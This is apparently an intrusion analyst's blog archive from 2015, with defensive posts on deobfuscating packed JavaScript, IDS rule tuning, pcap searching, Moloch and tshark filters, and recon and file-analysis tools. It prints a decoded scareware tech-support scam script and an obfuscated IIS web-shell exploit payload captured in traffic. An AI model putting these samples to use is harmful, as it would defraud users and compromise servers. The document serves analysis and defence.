Thursday, November 5, 2015

Unpacking Packed Javascript with Rhino In Three Steps

Malware authors use various techniques for obfuscating their code. One I commonly see is using the packer compressor. Code will begin with "eval(function(p,a,c,k,e,d)". 

Below is a block I came across yesterday from a scareware scam site:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b 1F=h.q;b 2=h.22;b d=h.V;b 9=\'\'+13(h.q);b w=O(h.q,10);b T,3,s;a((3=2.f("1R/"))!=-1){d="K";9=2.c(3+4)}i a((3=2.f("K"))!=-1){d="K";9=2.c(3+6);a((3=2.f("W"))!=-1)9=2.c(3+8)}i a((3=2.f("24"))!=-1){d="1P";9=2.c(3+5)}i a((3=2.f("X"))!=-1){d="X";9=2.c(3+7)}i a((3=2.f("1t"))!=-1){d="1t";9=2.c(3+7);a((3=2.f("W"))!=-1)9=2.c(3+8)}i a((3=2.f("11"))!=-1){d="11";9=2.c(3+8)}i a((T=2.12(\' \')+1)<(3=2.12(\'/\'))){d=2.c(T,3);9=2.c(3+1);a(d.1G()==d.1E()){d=h.V}}a((s=9.f(";"))!=-1)9=9.c(0,s);a((s=9.f(" "))!=-1)9=9.c(0,s);w=O(\'\'+9,10);a(1J(w)){9=\'\'+13(h.q);w=O(h.q,10)}1r(g(){B()},1K);b m=1D v();b 16=(m.1A()+1)+"/"+m.1B()+"/"+m.1C()+" @ "+m.1H()+":"+m.1Y();b p=r(\'p\'),U=r(\'U\'),C=r(\'C\'),l=r(\'l\');g 15(){18("1L: "+p+" Q ("+U+") x "+C+"\\n\\20 21 26 29 2a 28 S "+16+".\\n\\P ("+l+") (R 1) 2b F 25!")}g 1Z(){15();b 14=D*4,A=1s.1O(\'#1M\');Z(14,A)}g B(){18(\'\\n\\1n!!\\n\\n***************************************\\n\\1o \'+p+\' Q: 1k z 1j, 1f 1g 1h z 1q, u 1i u 1p 1z 1y 1w 1x 1v Y!\\n\\1m 1l F 1u!\\n\\1c 17 1a 1d:\\n\\P \'+l+\' (R 1)\\n\\n\\***************************************\\n\\n\')

This code can be unpacked (deobfuscated for us) if the block is complete and will compile. 

The tool we will use is Rhino, from the Mozilla Developers Network. If you are running Fedora, it is included in the Fedora repositories and you can install it with the command "dnf install rhino" or "yum install rhino". there will be some dependencies that need installed as well.

Once Rhino is installed, however you get it, you need to copy the block of packed code into a file. Then replace the word "eval" at the beginning with the word "print" and save it.

Now all you need to do is run the file through Rhino, with the command "rhino (name of your file). The unpacked content will be display to the screen. 

[analyst@testsvr05 ~]$ rhino 4

var nVer=navigator.appVersion;var nAgt=navigator.userAgent;var browserName=navigator.appName;var fullVersion=''+parseFloat(navigator.appVersion);var majorVersion=parseInt(navigator.appVersion,10);var nameOffset,verOffset,ix;if((verOffset=nAgt.indexOf("OPR/"))!=-1){browserName="Opera";fullVersion=nAgt.substring(verOffset+4)}else if((verOffset=nAgt.indexOf("Opera"))!=-1){browserName="Opera";fullVersion=nAgt.substring(verOffset+6);if((verOffset=nAgt.indexOf("Version"))!=-1)fullVersion=nAgt.substring(verOffset+8)}else if((verOffset=nAgt.indexOf("MSIE"))!=-1){browserName="IE";fullVersion=nAgt.substring(verOffset+5)}else if((verOffset=nAgt.indexOf("Chrome"))!=-1){browserName="Chrome";fullVersion=nAgt.substring(verOffset+7)}else if((verOffset=nAgt.indexOf("Safari"))!=-1){browserName="Safari";fullVersion=nAgt.substring(verOffset+7);if((verOffset=nAgt.indexOf("Version"))!=-1)fullVersion=nAgt.substring(verOffset+8)}else if((verOffset=nAgt.indexOf("Firefox"))!=-1){browserName="Firefox";fullVersion=nAgt.substring(verOffset+8)}else if((nameOffset=nAgt.lastIndexOf(' ')+1)<(verOffset=nAgt.lastIndexOf('/'))){browserName=nAgt.substring(nameOffset,verOffset);fullVersion=nAgt.substring(verOffset+1);if(browserName.toLowerCase()==browserName.toUpperCase()){browserName=navigator.appName}}if((ix=fullVersion.indexOf(";"))!=-1)fullVersion=fullVersion.substring(0,ix);if((ix=fullVersion.indexOf(" "))!=-1)fullVersion=fullVersion.substring(0,ix);majorVersion=parseInt(''+fullVersion,10);if(isNaN(majorVersion)){fullVersion=''+parseFloat(navigator.appVersion);majorVersion=parseInt(navigator.appVersion,10)}setInterval(function(){exit_alert()},3000);var currentdate=new Date();var datetime=(currentdate.getMonth()+1)+"/"+currentdate.getDate()+"/"+currentdate.getFullYear()+" @ "+currentdate.getHours()+":"+currentdate.getMinutes();var isp=getURLParameter('isp'),ip=getURLParameter('ip'),city=getURLParameter('city'),num=getURLParameter('num');function entry_alert(){alert("WARNING: "+isp+" customer ("+ip+") from "+city+"\n\nSerious security vulnerabilities have been found on "+datetime+".\n\nCall ("+num+") (PRESS 1) for immediate assistance!")}function pop(){entry_alert();var fiveMinutes=60*4,display=document.querySelector('#time');startTimer(fiveMinutes,display)}function exit_alert(){alert('\n\nWAIT!!\n\n***************************************\n\nATTENTION '+isp+' customer: Your personal photos, Facebook and other personal passwords, as well as credit card information could be at risk!\n\nThis requires immediate attention!\n\nContact Tech Support Immediately:\n\nCall '+num+' (PRESS 1)\n\n\***************************************\n\n')}function addEvent(obj,evt,fn){if(obj.addEventListener){obj.addEventListener(evt,fn,false)}else if(obj.attachEvent){obj.attachEvent("on"+evt,fn)}}function startTimer(duration,display){var,diff,minutes,seconds;function timer(){diff=duration-(((|0);minutes=(diff/60)|0;seconds=(diff%60)|0;minutes=minutes<10 1="" addevent="" amountalerts="amountalerts+1}}})});$(window).on(" and="" as="" at="" attention="" be="" beforeunload="" body="" card="" could="" credit="" customer:="" diff="" display.textcontent="minutes+" document="" e="e?e:window.event;var" exit_alert="" facebook="" from="e.relatedTarget||e.toElement;if(!from||from.nodeName==" function="" if="" immediate="" immediately:="" information="" isp="" load="" minutes:minutes="" mouseout="" n="" nattention="" ncall="" ncontact="" nthis="" num="" nwait="" other="" p="" passwords="" personal="" photos="" requires="" return="" risk="" seconds:seconds="" seconds="" start="}};timer();setInterval(timer,1000)}var" support="" tech="" var="" well="" your="">
If the file is large you can redirect output to another file or page it through less. 

For more information, see the excellent SANS Handler Diary article by Daniel Wesemann at and look at the method #4, the Monkey Wrench Method. 
He uses Spider Monkey instead of Rhino here, but the functionality is exactly the same (as he notes in the article).

Thursday, October 29, 2015

The Boy Who Cried Wolf

Your wife is cooking dinner and burns the biscuits. The smoke alarm goes off. Do you throw it in the trash? Do you say, "There wasn't any fire!" and stop using it? No. It did it's job. It detected smoke. There just wasn't any fire. That time.

Being an intrusion analyst is like that. It's your job to escalate when you see smoke. There might not be any fire, or there might be. You do your best to validate the event, use all your resources to investigate, but there's still a chance there might not be any fire. Don't let that concern you. I've heard it referred to as the "boy who cried wolf syndrome". Analysts who hesitate to escalate something because of fear they've made a mistake or because they've been wrong in the past. You can't be that person.
You are a front line of defense. Your job is to alert when you see the enemy coming, not unlike a watchman in a medieval tower. If that watchman sees a big army coming over the hill far, far away, and waits until it gets closer so he can see whose army it is, he may have sentenced all the castle dwellers to death.
Fortunately the consequences of not escalating aren't quite that dire (but could be if you work in ICS, but that's another story entirely), but you might have seen the beginning of a compromise. It could be a malware outbreak or a data breach and you've not given your organization a chance to shut it down. Don't worry about being wrong. Worry about not alerting and letting that attack continue. Like Geico says, it's what you do.

Thursday, September 10, 2015

10 Commandments of Intrusion Analysis

An older article by Chris Sanders but very much still relevant. New vendors, tools and systems come out all the time, but it still comes down to the analyst. Without a good analyst monitoring that IDS or IPS or DLP or SIEM or packet logger or log portal; whatever!, all you have is a shiny box with blinky lights, sucking up electricity.

Friday, August 28, 2015

Old Rules Can Still Be Useful

An IDS/IPS needs constant, careful tuning, and one of the ways to do this is to filter out old rules or signatures that are no longer relevant. To this day there is still Code Red traffic on the Internet,but enabling the rules for it would just contribute to the background noise of alerts that aren't relevant any longer. Or one would hope!
But sometimes older alerts can be useful in making you aware of malicious traffic targeting your infrastructure that you might otherwise miss.

As an example, Snort/Sourcefire has a rule "named" SERVER-IIS multiple extension code execution attempt (that's actually the Message field, but there is no name field, so close enough). This is an alert for a vulnerability in IIS servers that goes back to 2009 (CVE 2009-4444). The rule was still turned on by default in the policy applied to the sensors I monitor, and it triggered several alerts with a source IP from China. The payload of the packet was as follows:

autoshell=eval("Ex"%26cHr(101)%26"cute(""Server.ScriptTimeout%3D3600:On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(""""->|""""):Ex"%26cHr(101)%26"cute(""""On+Error+Resume+Next:""""%26bd(""""526573706F6E73652E5772697465282268616F72656E2229"""")):Response.Write(""""|<- esponse.end="" p="">
The exploit wasn't successful, and the server has been patched for years against the double extension vulnerability (they used .asp;.jpg in the POST command) but it got my attention none the less.
It caused me to be aware of the malicious traffic targeting that domain and to do some investigation to see what other traffic came from the source.

Obviously, you don't want to keep all of your older rules enabled or you'd soon be overwhelmed with alerts, but when you come across one with traffic like this, it might weigh in on your decision whether to disable it or not as being too old or irrelevant. Sometimes, if the traffic warrants it, it might be good to keep a few "canaries in a coal mine" to keep you alerted of malicious intent that might indicate another look.

Wednesday, June 10, 2015

rail grepping

rail grepping (from Phil Hagen, who teaches the SANS FOR572 Advanced Network Forensics and Analysis class), is a way to quickly go through a large number of pcaps and determine if they might contain data you're looking for.
Scenario: You're given 25 pcaps from a certain time frame and asked to determine if there's any emails in them to or from You need a way to determine what pcaps might have this data in it. You can use rail grepping to determine this.

rail grepping is named after the parameters you'll use with grep to do your search.

They are:
r - search sub-directories recursively
a - treat binary files like text and search the ASCII, human readable portions of the file for the string
i - case insensitive
l - only show the files that match instead of the matches themselves.

So our command would look like this:

grep -rail '' . If you are in a sub-directory containing only the pcaps, you could substitute * instead.

grep will rip through the pcaps looking for your email address and return the name of each file it finds a match in.

Thursday, May 28, 2015

Quickly Find Web Servers In Large Capture Files

Sorry, used the version for 1.8 - corrected.

 tshark -nn -r big_honking_capture_file.pcap -Y "http.server == Apache || http.server == nginx" -T fields -e ip.src -e tcp.srcport -e ip.dst -e http.server -e http.location

Tshark to the rescue...

Monday, May 11, 2015

Number of Alerts != Number of Events

The number of alerts you receive is not always indicative of the size and scope of the attack. As an example, I received an alert about an old DoS tool, the Shaft SYN Flood tool. 

I don't know if that was the actual tool in use or not (doubtful, and it's not relevant enough to spend time finding out), but when I looked at the packet data I found over 3.6 million packets had been sent over a two hour period. It's easy to miss a single alert when you're busy, or an inexperienced intrusion analyst might see this alert and think it was generated by a single packet. 

It's important to know as much about the rules that generate alerts as possible to have the best chance of making an accurate analysis of the event. Some rules use thresholding to avoid overwhelming the alerting system and the analyst, and may generate one alert for say, every 100 events in a sixty second period. If you're not aware of that, you'll miss the scope of the event.

It's also why it's so important that the IDS you use has an open rule or signature set. You need to be able to see the parameters of the rule, what it triggers on, to be able to look at the packet and determine if it a true positive or a false positive, and if it's a true positive, if it's relevant to the destination of the event.

Being able to modify the rule is even better. You may have a case of recurring false positives from one source or a header parameter, but other cases are valid. You don't want to disable the rule but you don't want the false positives, either.
If your system allows you to modify the rule and create a new one out of it, you can mitigate the false positives while maintaining  the coverage. And being to able to create a whole new rule for some event specific to just your organization is a best case scenario. If your company has in house apps they use, there obviously won't be any rules to cover them in the rule set that ships with your IDS.  

Thursday, April 9, 2015

Extending Search Granularity with Moloch Filters

In the course of investigating over 5,000 alerts one evening, from one IP, I needed to use Moloch to eliminate the alerts that bounced off the wall and concentrate on anything that might have succeeded.
If we disregard the possibility of servers leaking too much information via their stock error page, we can use Moloch to look at packets from the attackers IP and a status code of 200.

ip == x.x.x.x && http.statuscode == 200

That’s a great start, but in this case, that still left a LOT of sessions to investigate (65). Could I use Moloch to further pare down the number of sessions? Turns out I could. After sorting by bytes to seethe sessions with data flow, I found out the attacker had hit a site that had no default landing page.

The first sessions I found had a data content size of 1,856 bytes. Now I can use the databytes filter in Moloch to specify any sessions with over 1,856 bytes.

ip == x.x.x.x && http.statuscode == 200 && databytes > 1856

I also found the same error message, from the same server, with byte sizes of 1,905, 1,915 and 1,944. The differing sizes are due to the size of content in the client header. Now I can specify a data size greater than 1,944 and eliminate all of the “no default landing page error” sessions.

ip == x.x.x.x && http.statuscode == 200 && databytes > 1944

I've now narrowed my investigation from 65 sessions down to 7.

Monday, March 23, 2015

SpiderFoot: Open Source Fingerprinting Tool

SpiderFoot is a free and open source fingerprinting tool for pen testers and defenders checking the posture of the sites they defend. This is an automated recon tool, available for both Windows and Linux and written in Python. 
The operation is very easy. After installing it, you start the tool and open a Web browser and browse to localhost on port 5001. Go to the Settings page and make any changes you would like, then give the scan a name and start it and sit back. The scan will run quite a while as it does a large number of checks, depending on how you configured it. If you have API keys for Honeypot Checker, Shodan or VirusTotal, it will use those to do checks against those sites for what you're scanning.
You can scan a hostname, a domain or sub-domain, an IP address or a subnet.
I'd recommend starting out small and scanning a single IP or domain until you see the length of time it will take and if you want to make any tweaks to your settings. 

SpiderFoot will report these items:

Affiliate - IP Address
Affiliate - IP Address - Subnet
Affiliate - Internet Name
Affiliate - Web Content
BGP AS Membership
BGP AS Ownership
Blacklisted Affiliate IP Address
Blacklisted IP Address
Blacklisted IP on Owned Netblock
Blacklisted IP on Same Subnet
Co-Hosted Site
DNS TXT Record
Defaced Affiliate
Defaced Affiliate IP Address
Defaced Co-Hosted Site
Defaced IP Address
Device Type
Domain Name
Email Address
Email Gateway (DNS 'MX' Records)
Error Message
Externally Hosted Javascript
HTTP Headers
HTTP Status Code
Human Name
IP Address
IPv6 Address
Interesting File
Internet Name
Junk File
Linked URL - External
Linked URL - Internal
Malicious AS
Malicious Affiliate
Malicious Affiliate IP Address
Malicious Co-Hosted Site
Malicious IP Address
Malicious IP on Same Subnet
Malicious Internet Name
Name Server (DNS 'NS' Records)
Netblock Membership
Netblock Ownership
Non-Standard HTTP Header
Open TCP Port
Open TCP Port Banner
Open UDP Port
Open UDP Port Information
Operating System
Owned Netblock with Malicious IP
PasteBin Content
Physical Location
Raw DNS Records
Raw Data from RIRs
Raw File Meta Data
SSL Certificate - Issued by
SSL Certificate - Issued to
SSL Certificate - Raw Data
SSL Certificate Expired
SSL Certificate Expiring
SSL Certificate Host Mismatch
Search Engine's Web Content
Similar Domain
Social Media Presence
URL (Accepts Passwords)
URL (Accepts Uploads)
URL (AdBlocked External)
URL (AdBlocked Internal)
URL (Form)
URL (Purely Static)
URL (Uses Flash)
URL (Uses Java applet)
URL (Uses Javascript)
URL (Uses a Web Framework)
Web Content
Web Server
Web Technology

You can find out more and download SpiderFoot at

Thursday, March 12, 2015

File Analysis Sites

A few sites that you can upload different kinds of files to for a quick automated analysis. This doesn't take the place of doing a thorough analysis in the event of an incident, but it can be an aid to speed up the analysis of alerts..

Anubis: - binaries only
JavaScript or Flash:
JavaScript or HTML:

Tuesday, February 24, 2015

Malware Tracker: PDF Analysis

If you're a intrusion analyst on a small team (or maybe you ARE the team), you may be the only resource that has to look at a myriad of possibly malicious files that trigger your IDS or SIEM. You may not have either the time or the forensics skills to properly inspect each PDF or Flash file or Office doc that set off an alert.
Fortunately, there are a lot of good resources available that can do at least a cursory examination of different types of files and indicate that you might need to flag that alert for investigation. That's not as good as having a forensics analyst to hand the file off to, but it's a whole lot better than ignoring the alert because you don't have the time or training to deal with it.

For PDF files, Malware Tracker allows you upload a file (free of charge), which then gets analyzed and a report of it's findings returned to you. You can supply an email to get your findings that way (handy on a busy day as it lets you move on to the next alert while that file is analyzed) and you can also mark the file private, not to be shared on the site's recent infections list, in case it's your own internal document.

Here's an example of the email report you can receive:

Filename: NBAA-Pilot-Briefing-Climb-Via-Descend-Via-Speed-Adjustments-2.00-Change-Summary-20140228.pdf
Size: 925289 bytes
MD5: e80a5be5194fb890897990bb134a48b5
Sha1: cce44e805c876e74ebac7f90b7279908580be653
Sha256: 7bca90caeafafc6c7c96c9c60941d65c9701bd950277b2bad57d46a67b42546a
ssdeep: 12288:Qo0qLEpCIOj0HEGQLPsyM9ITOEriOfhduBmwBgArBoIIFhM2E:ldy40HgtMBEeOf6FBTrBvkM2E
Type: PDF document, version 1.7
Submission: 2015-02-24 13:10:40
IP:, proxy=

Detection: Clean [0]


While you're there, there are other resources that might help you at

Friday, January 16, 2015


CapTipper is another sweet, python based analysis tool that takes a pcap of the malicious traffic and parses out all sorts of useful information about it, like info on the client and server, conversations, hexdumps, iframes and more. You can also open the response up in your own browser and see what came down using the aptly named "open" command. gzip decompression is included which is a very nice feature. If you do much intrusion analysis at all, you know how much of the content you need to inspect is gzipped these days.
You can find Omri's blog post on the tool at:
and find the Github page at:

Blog Archive